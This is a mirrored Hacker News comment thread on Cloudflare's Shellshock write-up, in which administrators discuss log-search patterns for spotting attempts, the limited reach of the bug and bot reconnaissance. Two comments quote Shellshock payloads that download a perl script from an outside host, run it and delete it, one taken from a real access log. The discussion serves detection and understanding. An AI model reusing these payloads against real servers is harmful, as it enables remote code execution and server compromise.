Live data from Hacker News

Inside Shellshock: How hackers are using it to exploit systems

blog.cloudflare.com

11–20 of 94 posts

Re: Inside Shellshock: How hackers are using it to exploit systems

#11
post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

I'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives?

I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts of URIs containing things from my hostnames to unique IDs.

Re: Inside Shellshock: How hackers are using it to exploit systems

#12
post #9
post #3

So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?

It's a big deal because it's a major flaw in long established software. Many unix systems saw bash as safe enough to use as /bin/sh. The CGI-bash exploit leverages two of the oldest technologies on the web. However, CGI isn't common these days. I don't know any large sites still using it. So it's mostly going to hit older sites that work but aren't well maintained. Also a lot of embedded systems have CGI based web in…

Also a fair amount of internal stuff - issue trackers, online expense forms, whatever else.

Re: Inside Shellshock: How hackers are using it to exploit systems

#13
post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

I'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives? I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts o…

`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change.

Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.

Re: Inside Shellshock: How hackers are using it to exploit systems

#14
post #8

It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…

"In the wild" is an understatement; at the current moment the scanning traffic is nearly worm-level (though this is not nearly as wormable as some of the classic worms of olde). Within about an hour of the first public disclosure, bots started scanning for it: some white hat, others not so much. Big websites are seeing scans from bots run by 50 or more different unrelated entities at the moment. It's really easy for just about anyone to hack together a quick script that scans for and exploits this vulnerability.

This is not to fear monger though: for 99.9% of web applications out there, the scans will not find anything vulnerable to Shellshock. Unless you're running a CGI app, you generally won't have to worry from a web app perspective even if you are vulnerable. You may have to worry if you host a Git or SVN repo, or expose a mail daemon, etc.

It's nice of you to inform the admin but unfortunately compromised servers running Plesk have been used to serve malware for many years now. You will find tens of thousands out there on the web, many probably abandoned and forgotten by their owners.

Re: Inside Shellshock: How hackers are using it to exploit systems

#16
post #13

Earlier quoted context omitted.

I'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives? I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts o…

`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change. Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.

Upon researching this, "() {" will always catch this.

If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in "() {" being obfuscated. This may not apply for attacks against things that aren't web apps, though.

Re: Inside Shellshock: How hackers are using it to exploit systems

#17
post #3

So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?

This is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism.

It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.

Re: Inside Shellshock: How hackers are using it to exploit systems

#18
post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

I've been tailing logs for "()" as I've seen a fair amount of () { :fake; } - () picks up some other lines, but I'd rather see everything rather than 90%

One thing they didn't mention about the base64 of example.comShellShockSalt is that as per use with Spammers finding emails that get reported on anti-spam boards, those initiating the probes can watch for reports and extract the identifier to see who said what. Why they would be interested in this sort of information, I have no clue, but it would be of use.

Re: Inside Shellshock: How hackers are using it to exploit systems

#19
post #5
post #3

So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?

My take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable. I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.

I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously.

There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.

Post reply on HN